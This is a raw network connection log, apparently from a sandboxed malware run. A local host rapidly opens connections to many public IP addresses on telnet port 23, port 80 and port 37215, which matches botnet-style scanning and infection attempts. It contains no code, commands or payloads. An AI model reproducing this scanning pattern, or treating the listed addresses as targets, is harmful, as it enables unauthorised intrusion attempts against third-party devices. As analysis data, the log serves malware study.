Oct 17, 2024 02:19:43.687772036 CEST	51422	23	192.168.2.14	195.121.56.104
Oct 17, 2024 02:19:43.687787056 CEST	53516	23	192.168.2.14	42.32.78.113
Oct 17, 2024 02:19:43.687808990 CEST	48496	23	192.168.2.14	85.66.115.91
Oct 17, 2024 02:19:43.687833071 CEST	42982	23	192.168.2.14	2.82.6.37
Oct 17, 2024 02:19:43.688558102 CEST	37215	36972	156.160.243.72	192.168.2.14
Oct 17, 2024 02:19:43.688582897 CEST	80	59144	212.160.200.226	192.168.2.14
Oct 17, 2024 02:19:43.688596010 CEST	37215	37294	41.97.224.74	192.168.2.14
Oct 17, 2024 02:19:43.688604116 CEST	36972	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:43.688642979 CEST	59144	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:43.688934088 CEST	59144	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:43.688946009 CEST	59144	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:43.689208031 CEST	36972	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:43.689220905 CEST	36972	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:43.689330101 CEST	37294	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:43.692425013 CEST	59832	80	192.168.2.14	212.160.200.226
Oct 17, 2024 02:19:43.692691088 CEST	23	55912	154.109.86.141	192.168.2.14
Oct 17, 2024 02:19:43.692754984 CEST	55912	23	192.168.2.14	154.109.86.141
Oct 17, 2024 02:19:43.692867994 CEST	37658	37215	192.168.2.14	156.160.243.72
Oct 17, 2024 02:19:43.693808079 CEST	80	59144	212.160.200.226	192.168.2.14
Oct 17, 2024 02:19:43.694325924 CEST	37215	36972	156.160.243.72	192.168.2.14
Oct 17, 2024 02:19:43.695173025 CEST	37294	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:43.695173025 CEST	37294	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:43.695909977 CEST	37976	37215	192.168.2.14	41.97.224.74
Oct 17, 2024 02:19:43.700205088 CEST	37215	37294	41.97.224.74	192.168.2.14
Oct 17, 2024 02:19:43.707246065 CEST	37215	43480	197.67.55.160	192.168.2.14
Oct 17, 2024 02:19:43.715764999 CEST	35570	23	192.168.2.14	36.192.118.129
Oct 17, 2024 02:19:43.715785980 CEST	55206	23	192.168.2.14	54.80.63.130
Oct 17, 2024 02:19:43.715785980 CEST	42476	23	192.168.2.14	87.39.230.68
Oct 17, 2024 02:19:43.715794086 CEST	34600	23	192.168.2.14	112.106.31.219
Oct 17, 2024 02:19:43.715794086 CEST	36246	37215	192.168.2.14	197.3.88.249
Oct 17, 2024 02:19:43.715794086 CEST	43122	80	192.168.2.14	65.182.119.153
Oct 17, 2024 02:19:43.715799093 CEST	49936	80	192.168.2.14	148.90.123.249
Oct 17, 2024 02:19:43.715809107 CEST	39096	37215	192.168.2.14	156.229.117.78
Oct 17, 2024 02:19:43.715809107 CEST	41874	37215	192.168.2.14	156.66.126.47
Oct 17, 2024 02:19:43.715811014 CEST	37564	37215	192.168.2.14	41.25.183.201
Oct 17, 2024 02:19:43.715809107 CEST	52486	80	192.168.2.14	80.47.111.194
Oct 17, 2024 02:19:43.715811014 CEST	59458	80	192.168.2.14	209.10.130.87
Oct 17, 2024 02:19:43.715809107 CEST	50436	80	192.168.2.14	216.232.8.186
Oct 17, 2024 02:19:43.715815067 CEST	43186	37215	192.168.2.14	41.82.9.158
Oct 17, 2024 02:19:43.715816975 CEST	50850	37215	192.168.2.14	41.105.211.223
Oct 17, 2024 02:19:43.715820074 CEST	50814	37215	192.168.2.14	156.91.159.119
Oct 17, 2024 02:19:43.715853930 CEST	55774	80	192.168.2.14	222.80.213.83
Oct 17, 2024 02:19:43.720664024 CEST	23	35570	36.192.118.129	192.168.2.14
Oct 17, 2024 02:19:43.720676899 CEST	23	55206	54.80.63.130	192.168.2.14
Oct 17, 2024 02:19:43.720735073 CEST	35570	23	192.168.2.14	36.192.118.129
Oct 17, 2024 02:19:43.720829964 CEST	55206	23	192.168.2.14	54.80.63.130
Oct 17, 2024 02:19:43.739190102 CEST	37215	36972	156.160.243.72	192.168.2.14
Oct 17, 2024 02:19:43.739203930 CEST	80	59144	212.160.200.226	192.168.2.14
Oct 17, 2024 02:19:43.743175983 CEST	37215	37294	41.97.224.74	192.168.2.14
Oct 17, 2024 02:19:43.747833014 CEST	55764	37215	192.168.2.14	41.229.139.194
Oct 17, 2024 02:19:43.747845888 CEST	49968	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:43.747852087 CEST	49226	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:43.747863054 CEST	42004	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:43.747863054 CEST	56916	37215	192.168.2.14	156.158.186.253
Oct 17, 2024 02:19:43.747864962 CEST	39884	80	192.168.2.14	37.85.205.78
Oct 17, 2024 02:19:43.747864962 CEST	49924	80	192.168.2.14	31.217.15.0
Oct 17, 2024 02:19:43.747873068 CEST	52270	37215	192.168.2.14	41.14.98.49
Oct 17, 2024 02:19:43.747886896 CEST	57056	80	192.168.2.14	2.83.98.137
Oct 17, 2024 02:19:43.751779079 CEST	39564	23	192.168.2.14	73.204.124.139
Oct 17, 2024 02:19:43.751780987 CEST	60748	23	192.168.2.14	174.250.203.155
Oct 17, 2024 02:19:43.751780987 CEST	46290	23	192.168.2.14	4.55.141.3
Oct 17, 2024 02:19:43.751780987 CEST	54682	23	192.168.2.14	102.30.251.168
Oct 17, 2024 02:19:43.751784086 CEST	54868	23	192.168.2.14	60.160.234.66
Oct 17, 2024 02:19:43.751787901 CEST	35400	23	192.168.2.14	1.206.171.36
Oct 17, 2024 02:19:43.752736092 CEST	37215	55764	41.229.139.194	192.168.2.14
Oct 17, 2024 02:19:43.752765894 CEST	37215	42004	41.74.170.248	192.168.2.14
Oct 17, 2024 02:19:43.752777100 CEST	80	49968	45.36.46.7	192.168.2.14
Oct 17, 2024 02:19:43.752789021 CEST	80	49226	62.200.140.21	192.168.2.14
Oct 17, 2024 02:19:43.752810955 CEST	55764	37215	192.168.2.14	41.229.139.194
Oct 17, 2024 02:19:43.752823114 CEST	42004	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:43.752851009 CEST	49226	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:43.752881050 CEST	49968	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:43.753146887 CEST	49226	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:43.753168106 CEST	49226	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:43.753453970 CEST	42004	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:43.753474951 CEST	42004	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:43.755222082 CEST	49844	80	192.168.2.14	62.200.140.21
Oct 17, 2024 02:19:43.755544901 CEST	42628	37215	192.168.2.14	41.74.170.248
Oct 17, 2024 02:19:43.757186890 CEST	49968	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:43.757210970 CEST	49968	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:43.757771969 CEST	55764	37215	192.168.2.14	41.229.139.194
Oct 17, 2024 02:19:43.757802963 CEST	55764	37215	192.168.2.14	41.229.139.194
Oct 17, 2024 02:19:43.757920980 CEST	80	49226	62.200.140.21	192.168.2.14
Oct 17, 2024 02:19:43.758266926 CEST	37215	42004	41.74.170.248	192.168.2.14
Oct 17, 2024 02:19:43.758944035 CEST	50584	80	192.168.2.14	45.36.46.7
Oct 17, 2024 02:19:43.759654999 CEST	56380	37215	192.168.2.14	41.229.139.194
Oct 17, 2024 02:19:43.762089968 CEST	80	49968	45.36.46.7	192.168.2.14
Oct 17, 2024 02:19:43.762571096 CEST	37215	55764	41.229.139.194	192.168.2.14
Oct 17, 2024 02:19:43.764475107 CEST	37215	56380	41.229.139.194	192.168.2.14
Oct 17, 2024 02:19:43.764580965 CEST	56380	37215	192.168.2.14	41.229.139.194
Oct 17, 2024 02:19:43.764580965 CEST	56380	37215	192.168.2.14	41.229.139.194
Oct 17, 2024 02:19:43.769875050 CEST	37215	56380	41.229.139.194	192.168.2.14
Oct 17, 2024 02:19:43.770023108 CEST	56380	37215	192.168.2.14	41.229.139.194
Oct 17, 2024 02:19:43.779756069 CEST	59196	37215	192.168.2.14	156.59.108.206
Oct 17, 2024 02:19:43.779773951 CEST	56208	23	192.168.2.14	31.53.188.159
Oct 17, 2024 02:19:43.779773951 CEST	44744	23	192.168.2.14	121.239.69.250
Oct 17, 2024 02:19:43.779788971 CEST	59734	23	192.168.2.14	50.153.78.201
Oct 17, 2024 02:19:43.779803991 CEST	35918	23	192.168.2.14	31.29.72.152
Oct 17, 2024 02:19:43.779803991 CEST	59638	23	192.168.2.14	189.199.84.131
Oct 17, 2024 02:19:43.779823065 CEST	50882	23	192.168.2.14	96.134.123.90
Oct 17, 2024 02:19:43.779823065 CEST	59304	80	192.168.2.14	60.20.43.43
Oct 17, 2024 02:19:43.779828072 CEST	46136	37215	192.168.2.14	197.103.162.180
Oct 17, 2024 02:19:43.779843092 CEST	44344	80	192.168.2.14	101.45.45.64
Oct 17, 2024 02:19:43.779844999 CEST	56878	37215	192.168.2.14	197.74.5.190
Oct 17, 2024 02:19:43.779855013 CEST	45332	80	192.168.2.14	39.136.67.222
Oct 17, 2024 02:19:43.779860020 CEST	46624	37215	192.168.2.14	197.48.103.235
Oct 17, 2024 02:19:43.779876947 CEST	40552	37215	192.168.2.14	156.214.27.37
Oct 17, 2024 02:19:43.779884100 CEST	39538	37215	192.168.2.14	156.8.0.159
Oct 17, 2024 02:19:43.779928923 CEST	47512	37215	192.168.2.14	197.80.146.14
Oct 17, 2024 02:19:43.779928923 CEST	41124	80	192.168.2.14	122.65.119.137
Oct 17, 2024 02:19:43.779964924 CEST	41264	37215	192.168.2.14	156.66.118.45
Oct 17, 2024 02:19:43.779999971 CEST	36248	80	192.168.2.14	212.238.39.182
Oct 17, 2024 02:19:43.784657001 CEST	37215	59196	156.59.108.206	192.168.2.14
Oct 17, 2024 02:19:43.784674883 CEST	23	56208	31.53.188.159	192.168.2.14
Oct 17, 2024 02:19:43.784725904 CEST	59196	37215	192.168.2.14	156.59.108.206
Oct 17, 2024 02:19:43.784956932 CEST	59196	37215	192.168.2.14	156.59.108.206
Oct 17, 2024 02:19:43.784962893 CEST	56208	23	192.168.2.14	31.53.188.159
Oct 17, 2024 02:19:43.784986973 CEST	59196	37215	192.168.2.14	156.59.108.206
Oct 17, 2024 02:19:43.785739899 CEST	59768	37215	192.168.2.14	156.59.108.206
Oct 17, 2024 02:19:43.789846897 CEST	37215	59196	156.59.108.206	192.168.2.14
Oct 17, 2024 02:19:43.799274921 CEST	37215	42004	41.74.170.248	192.168.2.14
Oct 17, 2024 02:19:43.799292088 CEST	80	49226	62.200.140.21	192.168.2.14
Oct 17, 2024 02:19:43.803170919 CEST	37215	55764	41.229.139.194	192.168.2.14
Oct 17, 2024 02:19:43.803185940 CEST	80	49968	45.36.46.7	192.168.2.14
Oct 17, 2024 02:19:43.811768055 CEST	43052	80	192.168.2.14	66.24.173.21
Oct 17, 2024 02:19:43.811777115 CEST	45236	23	192.168.2.14	201.238.38.177
Oct 17, 2024 02:19:43.811777115 CEST	58280	37215	192.168.2.14	41.158.7.58
Oct 17, 2024 02:19:43.811777115 CEST	50068	23	192.168.2.14	163.194.208.219
Oct 17, 2024 02:19:43.811777115 CEST	49358	23	192.168.2.14	59.58.222.38
Oct 17, 2024 02:19:43.811784029 CEST	52874	80	192.168.2.14	207.45.81.68
Oct 17, 2024 02:19:43.811784029 CEST	36680	37215	192.168.2.14	41.48.209.80
Oct 17, 2024 02:19:43.811784029 CEST	40928	23	192.168.2.14	198.113.151.180
Oct 17, 2024 02:19:43.811809063 CEST	59538	37215	192.168.2.14	197.7.156.242
Oct 17, 2024 02:19:43.811806917 CEST	49382	23	192.168.2.14	95.82.213.133
Oct 17, 2024 02:19:43.811827898 CEST	33874	80	192.168.2.14	52.74.204.117
Oct 17, 2024 02:19:43.811847925 CEST	53154	80	192.168.2.14	20.41.13.130
Oct 17, 2024 02:19:43.811850071 CEST	47764	80	192.168.2.14	145.162.52.218
Oct 17, 2024 02:19:43.811866045 CEST	48764	80	192.168.2.14	160.121.87.135
Oct 17, 2024 02:19:43.811959028 CEST	60632	37215	192.168.2.14	156.20.235.74
Oct 17, 2024 02:19:43.812747002 CEST	37215	53766	156.245.159.165	192.168.2.14
Oct 17, 2024 02:19:43.812812090 CEST	53766	37215	192.168.2.14	156.245.159.165
Oct 17, 2024 02:19:43.816711903 CEST	80	43052	66.24.173.21	192.168.2.14
Oct 17, 2024 02:19:43.816728115 CEST	23	45236	201.238.38.177	192.168.2.14
Oct 17, 2024 02:19:43.816739082 CEST	80	52874	207.45.81.68	192.168.2.14
Oct 17, 2024 02:19:43.817097902 CEST	52874	80	192.168.2.14	207.45.81.68
Oct 17, 2024 02:19:43.817097902 CEST	52874	80	192.168.2.14	207.45.81.68
Oct 17, 2024 02:19:43.817097902 CEST	52874	80	192.168.2.14	207.45.81.68
Oct 17, 2024 02:19:43.817121983 CEST	43052	80	192.168.2.14	66.24.173.21
Oct 17, 2024 02:19:43.817179918 CEST	45236	23	192.168.2.14	201.238.38.177
Oct 17, 2024 02:19:43.818109035 CEST	53410	80	192.168.2.14	207.45.81.68
Oct 17, 2024 02:19:43.819945097 CEST	43052	80	192.168.2.14	66.24.173.21
Oct 17, 2024 02:19:43.820002079 CEST	43052	80	192.168.2.14	66.24.173.21
Oct 17, 2024 02:19:43.820813894 CEST	43596	80	192.168.2.14	66.24.173.21
Oct 17, 2024 02:19:43.822014093 CEST	80	52874	207.45.81.68	192.168.2.14
Oct 17, 2024 02:19:43.824831009 CEST	80	43052	66.24.173.21	192.168.2.14
Oct 17, 2024 02:19:43.825628996 CEST	80	43596	66.24.173.21	192.168.2.14
Oct 17, 2024 02:19:43.825690985 CEST	43596	80	192.168.2.14	66.24.173.21
Oct 17, 2024 02:19:43.825743914 CEST	43596	80	192.168.2.14	66.24.173.21
Oct 17, 2024 02:19:43.830955982 CEST	80	43596	66.24.173.21	192.168.2.14
Oct 17, 2024 02:19:43.831026077 CEST	43596	80	192.168.2.14	66.24.173.21
Oct 17, 2024 02:19:43.831247091 CEST	37215	59196	156.59.108.206	192.168.2.14
Oct 17, 2024 02:19:43.843769073 CEST	55560	23	192.168.2.14	169.140.99.129
Oct 17, 2024 02:19:43.843769073 CEST	38382	37215	192.168.2.14	156.53.140.185
Oct 17, 2024 02:19:43.843771935 CEST	55200	80	192.168.2.14	27.237.227.136
Oct 17, 2024 02:19:43.843771935 CEST	42718	23	192.168.2.14	151.198.199.203
Oct 17, 2024 02:19:43.843774080 CEST	49450	23	192.168.2.14	196.227.178.226
Oct 17, 2024 02:19:43.843775034 CEST	59176	80	192.168.2.14	135.254.222.236
Oct 17, 2024 02:19:43.843775034 CEST	52700	23	192.168.2.14	62.127.110.136
Oct 17, 2024 02:19:43.843775034 CEST	56232	23	192.168.2.14	137.181.24.77
Oct 17, 2024 02:19:43.843775034 CEST	37960	37215	192.168.2.14	41.49.253.170
Oct 17, 2024 02:19:43.843786001 CEST	50444	37215	192.168.2.14	156.211.38.1
Oct 17, 2024 02:19:43.843786001 CEST	34746	37215	192.168.2.14	197.42.154.97
Oct 17, 2024 02:19:43.843791962 CEST	43712	80	192.168.2.14	166.226.230.169
Oct 17, 2024 02:19:43.843795061 CEST	52030	37215	192.168.2.14	156.225.19.26
Oct 17, 2024 02:19:43.843795061 CEST	45798	37215	192.168.2.14	41.9.224.55
Oct 17, 2024 02:19:43.843801022 CEST	36090	80	192.168.2.14	157.218.99.33
Oct 17, 2024 02:19:43.843803883 CEST	39774	80	192.168.2.14	216.193.119.98
Oct 17, 2024 02:19:43.843822002 CEST	42076	80	192.168.2.14	114.192.180.8
Oct 17, 2024 02:19:43.843822002 CEST	42416	37215	192.168.2.14	41.216.249.32
Oct 17, 2024 02:19:43.848712921 CEST	23	55560	169.140.99.129	192.168.2.14
Oct 17, 2024 02:19:43.848757982 CEST	80	55200	27.237.227.136	192.168.2.14
Oct 17, 2024 02:19:43.848804951 CEST	55560	23	192.168.2.14	169.140.99.129
Oct 17, 2024 02:19:43.848979950 CEST	55200	80	192.168.2.14	27.237.227.136
Oct 17, 2024 02:19:43.849174023 CEST	55200	80	192.168.2.14	27.237.227.136
Oct 17, 2024 02:19:43.849174023 CEST	55200	80	192.168.2.14	27.237.227.136
Oct 17, 2024 02:19:43.850368977 CEST	55700	80	192.168.2.14	27.237.227.136
Oct 17, 2024 02:19:43.853157997 CEST	23	53518	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:43.853301048 CEST	53518	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:43.853940010 CEST	80	55200	27.237.227.136	192.168.2.14
Oct 17, 2024 02:19:43.854455948 CEST	53684	23	192.168.2.14	176.227.215.58
Oct 17, 2024 02:19:43.855283022 CEST	80	55700	27.237.227.136	192.168.2.14
Oct 17, 2024 02:19:43.855380058 CEST	55700	80	192.168.2.14	27.237.227.136
Oct 17, 2024 02:19:43.855380058 CEST	55700	80	192.168.2.14	27.237.227.136
Oct 17, 2024 02:19:43.858181953 CEST	23	53518	176.227.215.58	192.168.2.14
Oct 17, 2024 02:19:43.860516071 CEST	80	55700	27.237.227.136	192.168.2.14
Oct 17, 2024 02:19:43.860615015 CEST	55700	80	192.168.2.14	27.237.227.136
Oct 17, 2024 02:19:43.863114119 CEST	80	52874	207.45.81.68	192.168.2.14
Oct 17, 2024 02:19:43.871256113 CEST	80	43052	66.24.173.21	192.168.2.14
Oct 17, 2024 02:19:43.875768900 CEST	48752	23	192.168.2.14	118.214.55.29
Oct 17, 2024 02:19:43.875787020 CEST	41380	23	192.168.2.14	203.209.9.212
Oct 17, 2024 02:19:43.875790119 CEST	58574	80	192.168.2.14	220.154.93.134
Oct 17, 2024 02:19:43.875790119 CEST	55344	23	192.168.2.14	117.94.21.113
Oct 17, 2024 02:19:43.875790119 CEST	55548	80	192.168.2.14	61.192.170.125
Oct 17, 2024 02:19:43.875802994 CEST	50450	80	192.168.2.14	222.193.195.36
Oct 17, 2024 02:19:43.875808954 CEST	46154	23	192.168.2.14	77.245.231.73
Oct 17, 2024 02:19:43.875808954 CEST	36480	37215	192.168.2.14	41.108.209.179
Oct 17, 2024 02:19:43.875818968 CEST	40390	37215	192.168.2.14	197.34.112.132
Oct 17, 2024 02:19:43.875818968 CEST	48418	37215	192.168.2.14	41.222.25.224
Oct 17, 2024 02:19:43.875827074 CEST	57162	80	192.168.2.14	74.31.107.159
Oct 17, 2024 02:19:43.875827074 CEST	45578	80	192.168.2.14	210.38.120.199
Oct 17, 2024 02:19:43.875827074 CEST	41490	80	192.168.2.14	85.40.106.105
Oct 17, 2024 02:19:43.875834942 CEST	40782	37215	192.168.2.14	156.50.127.146
Oct 17, 2024 02:19:43.875835896 CEST	60602	37215	192.168.2.14	197.202.12.112
Oct 17, 2024 02:19:43.875833035 CEST	42526	37215	192.168.2.14	41.226.199.103
Oct 17, 2024 02:19:43.880568981 CEST	23	48752	118.214.55.29	192.168.2.14
Oct 17, 2024 02:19:43.880604029 CEST	23	41380	203.209.9.212	192.168.2.14
Oct 17, 2024 02:19:43.880649090 CEST	48752	23	192.168.2.14	118.214.55.29
Oct 17, 2024 02:19:43.880713940 CEST	41380	23	192.168.2.14	203.209.9.212
Oct 17, 2024 02:19:43.895240068 CEST	80	55200	27.237.227.136	192.168.2.14
Oct 17, 2024 02:19:43.907777071 CEST	32896	23	192.168.2.14	183.87.54.57
Oct 17, 2024 02:19:43.907780886 CEST	52918	80	192.168.2.14	31.184.127.205
Oct 17, 2024 02:19:43.907783985 CEST	48128	37215	192.168.2.14	156.220.37.13
Oct 17, 2024 02:19:43.907793045 CEST	43442	37215	192.168.2.14	41.66.252.94
Oct 17, 2024 02:19:43.907793045 CEST	53794	23	192.168.2.14	53.60.171.146
Oct 17, 2024 02:19:43.907824993 CEST	55340	37215	192.168.2.14	197.61.247.104
Oct 17, 2024 02:19:43.907824993 CEST	43538	23	192.168.2.14	91.43.20.114
Oct 17, 2024 02:19:43.907824993 CEST	41714	23	192.168.2.14	94.248.155.238
Oct 17, 2024 02:19:43.907828093 CEST	32980	23	192.168.2.14	168.27.60.56
Oct 17, 2024 02:19:43.907828093 CEST	43300	80	192.168.2.14	138.39.198.132
Oct 17, 2024 02:19:43.907824993 CEST	50332	80	192.168.2.14	126.59.55.112
Oct 17, 2024 02:19:43.907830954 CEST	59686	23	192.168.2.14	136.227.189.144
Oct 17, 2024 02:19:43.907824993 CEST	49648	80	192.168.2.14	140.212.103.44
Oct 17, 2024 02:19:43.907824993 CEST	35368	37215	192.168.2.14	197.42.65.244
Oct 17, 2024 02:19:43.907824993 CEST	36264	37215	192.168.2.14	197.253.36.239
Oct 17, 2024 02:19:43.907831907 CEST	49068	37215	192.168.2.14	156.221.158.76
Oct 17, 2024 02:19:43.907843113 CEST	39806	37215	192.168.2.14	41.181.48.226
Oct 17, 2024 02:19:43.907849073 CEST	53290	23	192.168.2.14	150.51.149.135
Oct 17, 2024 02:19:43.912791014 CEST	80	52918	31.184.127.205	192.168.2.14
Oct 17, 2024 02:19:43.912823915 CEST	37215	48128	156.220.37.13	192.168.2.14
Oct 17, 2024 02:19:43.912836075 CEST	37215	43442	41.66.252.94	192.168.2.14
Oct 17, 2024 02:19:43.912847996 CEST	23	32896	183.87.54.57	192.168.2.14
Oct 17, 2024 02:19:43.912866116 CEST	52918	80	192.168.2.14	31.184.127.205
Oct 17, 2024 02:19:43.912904024 CEST	48128	37215	192.168.2.14	156.220.37.13
Oct 17, 2024 02:19:43.912918091 CEST	32896	23	192.168.2.14	183.87.54.57
Oct 17, 2024 02:19:43.912966967 CEST	43442	37215	192.168.2.14	41.66.252.94
Oct 17, 2024 02:19:43.913181067 CEST	52918	80	192.168.2.14	31.184.127.205
Oct 17, 2024 02:19:43.913181067 CEST	52918	80	192.168.2.14	31.184.127.205
Oct 17, 2024 02:19:43.913450003 CEST	48128	37215	192.168.2.14	156.220.37.13
Oct 17, 2024 02:19:43.913450003 CEST	48128	37215	192.168.2.14	156.220.37.13
Oct 17, 2024 02:19:43.914319038 CEST	53350	80	192.168.2.14	31.184.127.205
Oct 17, 2024 02:19:43.914683104 CEST	48564	37215	192.168.2.14	156.220.37.13
Oct 17, 2024 02:19:43.916543007 CEST	43442	37215	192.168.2.14	41.66.252.94
Oct 17, 2024 02:19:43.916543007 CEST	43442	37215	192.168.2.14	41.66.252.94
Oct 17, 2024 02:19:43.917268991 CEST	43868	37215	192.168.2.14	41.66.252.94
Oct 17, 2024 02:19:43.917969942 CEST	80	52918	31.184.127.205	192.168.2.14
Oct 17, 2024 02:19:43.918338060 CEST	37215	48128	156.220.37.13	192.168.2.14
Oct 17, 2024 02:19:43.921649933 CEST	37215	43442	41.66.252.94	192.168.2.14
Oct 17, 2024 02:19:43.939760923 CEST	60532	23	192.168.2.14	4.232.213.222
Oct 17, 2024 02:19:43.939769030 CEST	48434	23	192.168.2.14	63.218.62.176
Oct 17, 2024 02:19:43.939770937 CEST	33508	37215	192.168.2.14	197.91.13.215
Oct 17, 2024 02:19:43.939785957 CEST	48266	37215	192.168.2.14	156.21.216.57
Oct 17, 2024 02:19:43.939788103 CEST	49170	80	192.168.2.14	113.131.128.239
Oct 17, 2024 02:19:43.939788103 CEST	46378	80	192.168.2.14	107.1.240.122
Oct 17, 2024 02:19:43.939788103 CEST	48856	80	192.168.2.14	167.108.226.109
Oct 17, 2024 02:19:43.939788103 CEST	34672	80	192.168.2.14	92.24.74.7
Oct 17, 2024 02:19:43.939788103 CEST	54114	23	192.168.2.14	150.71.145.174
Oct 17, 2024 02:19:43.939798117 CEST	34820	80	192.168.2.14	81.233.179.204
Oct 17, 2024 02:19:43.939798117 CEST	43712	23	192.168.2.14	32.36.128.7
Oct 17, 2024 02:19:43.939807892 CEST	46026	23	192.168.2.14	106.91.61.118
Oct 17, 2024 02:19:43.939809084 CEST	39350	23	192.168.2.14	77.97.240.156
Oct 17, 2024 02:19:43.939826012 CEST	52864	37215	192.168.2.14	156.82.16.200
Oct 17, 2024 02:19:43.939826012 CEST	54018	37215	192.168.2.14	156.187.253.20
Oct 17, 2024 02:19:43.939829111 CEST	50026	80	192.168.2.14	161.190.100.158
Oct 17, 2024 02:19:43.944721937 CEST	37215	33508	197.91.13.215	192.168.2.14
Oct 17, 2024 02:19:43.944740057 CEST	23	60532	4.232.213.222	192.168.2.14
Oct 17, 2024 02:19:43.944752932 CEST	23	48434	63.218.62.176	192.168.2.14
Oct 17, 2024 02:19:43.944787025 CEST	33508	37215	192.168.2.14	197.91.13.215
Oct 17, 2024 02:19:43.944804907 CEST	60532	23	192.168.2.14	4.232.213.222
Oct 17, 2024 02:19:43.945063114 CEST	48434	23	192.168.2.14	63.218.62.176
Oct 17, 2024 02:19:43.945072889 CEST	33508	37215	192.168.2.14	197.91.13.215
Oct 17, 2024 02:19:43.945072889 CEST	33508	37215	192.168.2.14	197.91.13.215
Oct 17, 2024 02:19:43.945889950 CEST	33898	37215	192.168.2.14	197.91.13.215
Oct 17, 2024 02:19:43.949879885 CEST	37215	33508	197.91.13.215	192.168.2.14
Oct 17, 2024 02:19:43.959132910 CEST	37215	48128	156.220.37.13	192.168.2.14
Oct 17, 2024 02:19:43.959151030 CEST	80	52918	31.184.127.205	192.168.2.14
Oct 17, 2024 02:19:43.967135906 CEST	37215	43442	41.66.252.94	192.168.2.14
Oct 17, 2024 02:19:43.971762896 CEST	54670	80	192.168.2.14	74.67.219.248
Oct 17, 2024 02:19:43.971762896 CEST	49498	37215	192.168.2.14	156.227.45.78
Oct 17, 2024 02:19:43.971764088 CEST	38996	23	192.168.2.14	191.85.225.200
Oct 17, 2024 02:19:43.971766949 CEST	50646	80	192.168.2.14	25.246.143.164
Oct 17, 2024 02:19:43.971801996 CEST	60544	80	192.168.2.14	19.54.4.167
Oct 17, 2024 02:19:43.971802950 CEST	40962	37215	192.168.2.14	41.19.23.201
Oct 17, 2024 02:19:43.971802950 CEST	37916	37215	192.168.2.14	41.30.174.117
Oct 17, 2024 02:19:43.971810102 CEST	55192	80	192.168.2.14	40.163.231.225
Oct 17, 2024 02:19:43.971810102 CEST	38882	80	192.168.2.14	211.32.135.155
Oct 17, 2024 02:19:43.971802950 CEST	52542	37215	192.168.2.14	197.167.97.109
Oct 17, 2024 02:19:43.971810102 CEST	49828	37215	192.168.2.14	156.254.209.251
Oct 17, 2024 02:19:43.971810102 CEST	38452	80	192.168.2.14	42.206.232.18
Oct 17, 2024 02:19:43.971810102 CEST	46400	80	192.168.2.14	199.58.61.188
Oct 17, 2024 02:19:43.971822023 CEST	48984	80	192.168.2.14	51.120.245.105
Oct 17, 2024 02:19:43.971822023 CEST	40952	37215	192.168.2.14	41.130.126.58
Oct 17, 2024 02:19:43.971832991 CEST	37902	80	192.168.2.14	183.246.247.40
Oct 17, 2024 02:19:43.971837997 CEST	54466	37215	192.168.2.14	41.52.158.130
Oct 17, 2024 02:19:43.971837997 CEST	54414	80	192.168.2.14	109.3.101.144
Oct 17, 2024 02:19:43.971843958 CEST	35074	37215	192.168.2.14	156.196.169.177
Oct 17, 2024 02:19:43.976649046 CEST	80	50646	25.246.143.164	192.168.2.14
Oct 17, 2024 02:19:43.976664066 CEST	80	54670	74.67.219.248	192.168.2.14
Oct 17, 2024 02:19:43.976675034 CEST	23	38996	191.85.225.200	192.168.2.14
Oct 17, 2024 02:19:43.976754904 CEST	50646	80	192.168.2.14	25.246.143.164
Oct 17, 2024 02:19:43.976756096 CEST	54670	80	192.168.2.14	74.67.219.248
Oct 17, 2024 02:19:43.976999044 CEST	50646	80	192.168.2.14	25.246.143.164
Oct 17, 2024 02:19:43.976999044 CEST	50646	80	192.168.2.14	25.246.143.164
Oct 17, 2024 02:19:43.977035999 CEST	38996	23	192.168.2.14	191.85.225.200
Oct 17, 2024 02:19:43.977852106 CEST	51004	80	192.168.2.14	25.246.143.164
Oct 17, 2024 02:19:43.979191065 CEST	54670	80	192.168.2.14	74.67.219.248
Oct 17, 2024 02:19:43.979191065 CEST	54670	80	192.168.2.14	74.67.219.248
Oct 17, 2024 02:19:43.980019093 CEST	55018	80	192.168.2.14	74.67.219.248
Oct 17, 2024 02:19:43.981756926 CEST	80	50646	25.246.143.164	192.168.2.14
Oct 17, 2024 02:19:43.983990908 CEST	80	54670	74.67.219.248	192.168.2.14
Oct 17, 2024 02:19:43.984782934 CEST	80	55018	74.67.219.248	192.168.2.14
Oct 17, 2024 02:19:43.984878063 CEST	55018	80	192.168.2.14	74.67.219.248
Oct 17, 2024 02:19:43.984878063 CEST	55018	80	192.168.2.14	74.67.219.248
Oct 17, 2024 02:19:43.990045071 CEST	80	55018	74.67.219.248	192.168.2.14
Oct 17, 2024 02:19:43.990106106 CEST	55018	80	192.168.2.14	74.67.219.248
Oct 17, 2024 02:19:43.991115093 CEST	37215	33508	197.91.13.215	192.168.2.14
Oct 17, 2024 02:19:44.003778934 CEST	49846	37215	192.168.2.14	197.128.232.182
Oct 17, 2024 02:19:44.003786087 CEST	52668	80	192.168.2.14	4.1.182.38
Oct 17, 2024 02:19:44.003787041 CEST	50496	37215	192.168.2.14	197.77.141.197
Oct 17, 2024 02:19:44.003787041 CEST	48150	37215	192.168.2.14	156.219.176.62
Oct 17, 2024 02:19:44.003787994 CEST	52488	37215	192.168.2.14	41.108.234.87
